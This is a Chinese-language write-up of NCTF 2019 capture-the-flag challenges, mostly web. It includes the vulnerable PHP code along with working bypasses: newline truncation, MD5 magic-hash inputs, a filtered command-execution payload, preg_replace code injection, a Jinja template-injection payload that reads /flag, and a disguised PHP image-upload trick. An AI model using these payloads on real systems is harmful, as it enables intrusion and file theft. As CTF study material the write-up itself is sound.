error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];
开始构造了:
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."
";
}
else{
die('23333333');
}
First: 可以用到%0a截断,构造 num=23333%0a
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."
";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
Second: 这个可以参照 https://ctftime.org/writeup/8702 , 写一个shell,
$i=0
$count = 0
while($i -lt 1000000000 -and $count -lt 2 )
{
$md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = new-object -TypeName System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($i)))
$hash = $hash.replace("-", "")
if($hash -like "CE*" -OR $hash -like "0E*" -and $hash.substring(2) -notmatch "[ABDEF]" )
{
write-host -f cyan "Nombre:" $i
write-host -f Magenta "Hash:" $hash
write-host "`r`n"
++$count
}
++$i
}
呃呃呃呃呃,看不懂也得不出答案。
看到大佬写了个php版本的。理解一下。
$count = 0;
for ($i = 1; $i <= 100000000; $i++) {
$md5 = strtr(md5($i), 'cxhp', '0123');
if (preg_match('/^0e\d+$/', $md5)) {
echo $i . " " . md5($i) . "
";
$count++;
}
if ($count == 2) {
break;
}
}
可以构造 str1=2120624&str2=9081940
//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}
if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>
Third: 大佬们构造了 q_w_q=tac%20f* 我能说我看不懂吗?
最终构造的结果为:http://nctf2019.x1ct34m.com:60005/?num=23333 &str1=2120624&str2=9081940&q.w.q=tac f*
得到flag:
NCTF{t3is_So_siiimpppllleeee_to_u}
一般看到这种替换的题,首先想到的是 preg_replace()+/e 模式
但是这题不是这个。可以试一下直接读取flag文件,sub=a&pat=a&rep=readline(’/flag’), 显示 hack detected!
经检验是过滤了单引号,使用chr()绕过就可以了
sub=a&pat=a&rep=readfile(chr(47).chr(102).chr(108).chr(97).chr(103))
然后得到flag:
NCTF{getshe11_has_different_methods}
大佬思路如下:
flask模板注入:
http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__base__.__subclasses__() [40](('galf/'%7Creverse)).read()%7D%7D
其中过滤了flag字符串,用jinja的语法反转字符串绕过
然后得到flag:
NCTF{Y0u_can_n0t_Read_flag_directly}
参考资料:
需要绕过的点:
扩展名为jpg
content-type为image/jpeg
文件中包含 会出错,需要通过下面代码绕过
<script language="php"></script>
在文件头加上gif89a
得到地址,进行访问
http://nctf2019.x1ct34m.com:60002/index.php?action=upload-imgs/d3c7ade6c87aa4a597b0331a3cdf6557/Th1s_is_a_fl4g.jpg
得到flag:
NCTF{upload_1s_s0_funn7}
得到图片,foremost分离,得到两张图片,Beyond Compare导入来那个张图片容差比较,扫码得到flag
得到flag:
NCTF{ar_you_nice_rock_star}
import base64
base64.b85decode('PD4~idqQC|WjHloX>)UPb8~ZFb8laGczAeteE')
得到flag:
NCTF{Ba3e85_issssss_so_xxxxx}
直接提示:run pip install --user nctf-2019-installme to get flag!
按照提示执行命令,得到一个链接,直接打开链接下载安装包。其中setup.py里面的字符串base64解码,得到flag